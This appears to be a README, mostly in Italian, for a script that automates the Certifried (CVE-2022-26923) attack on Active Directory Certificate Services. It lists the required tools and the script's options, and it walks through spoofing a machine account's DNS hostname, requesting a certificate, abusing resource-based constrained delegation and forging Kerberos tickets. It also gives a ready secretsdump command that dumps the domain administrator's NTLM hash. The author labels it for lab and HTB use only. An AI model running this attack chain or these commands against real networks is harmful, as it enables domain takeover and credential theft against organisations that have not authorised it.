
Exploitation de CVE-2022-26923
Automazione dello sfruttamento di CVE-2022-26923 (Certifried) che consente un'elevazione dei privilegi tramite abuso di Active Directory Certificate Services (AD CS) e Resource-Based Constrained Delegation (RBCD), portando al dump dell'hash NTLM di un account amministratore di dominio.
⚠️ Solo uso didattico / Lab / HTB
Non utilizzare in ambienti non autorizzati.
Questo script automatizza la seguente catena di attacco:
dNSHostNameadministratorsecretsdump.pycertipy-adbloodyADgetST.py (Impacket)secretsdump.py (Impacket)opensslpipx install impacket
pipx install certipy-ad
pipx install bloodyad
sudo apt install openssl
chmod +x CVE-2022-26923.sh
./CVE-2022-26923.sh [options]
-d, --dc-ip IP del Domain Controller
-D, --domain Nome del dominio
-u, --user Utente valido
-p, --pass Password utente
-c, --comp-name Nome macchina controllata
-C, --comp-pass Password macchina
-a, --ca-name Nome della Certificate Authority
-t, --template Template certificato
-f, --pfx-file Nome file PFX
-H, --dc-hostname Hostname del DC
-A, --dc-account Account DC
-i, --impersonate Account target da impersonare
--verbose Modalità debug
-h, --help Aiuto
./CVE-2022-26923.sh \
-d 10.129.1.39 \
-D certifried.htb \
-u [email protected] \
-p 'Ch4ng3m3!' \
--verbose
Al termine dell'esecuzione:
administrator.ccacheadministratorIn caso di problemi Kerberos:
KRB5CCNAME=/tmp/administrator.ccache secretsdump.py \
-just-dc-ntlm -just-dc-user administrator \
certifried.htb/[email protected] \
-k -no-pass -dc-ip 10.129.1.39
Machine Account Creation
↓
dNSHostName spoofing
↓
Certificate Request (Machine Template)
↓
Authentication via PFX
↓
RBCD abuse (bloodyAD)
↓
S4U2Self + S4U2Proxy
↓
Kerberos Ticket extraction
↓
NTLM dump via secretsdump
Questo progetto è fornito a scopo:
L'autore declina ogni responsabilità in caso di uso non autorizzato.
MIT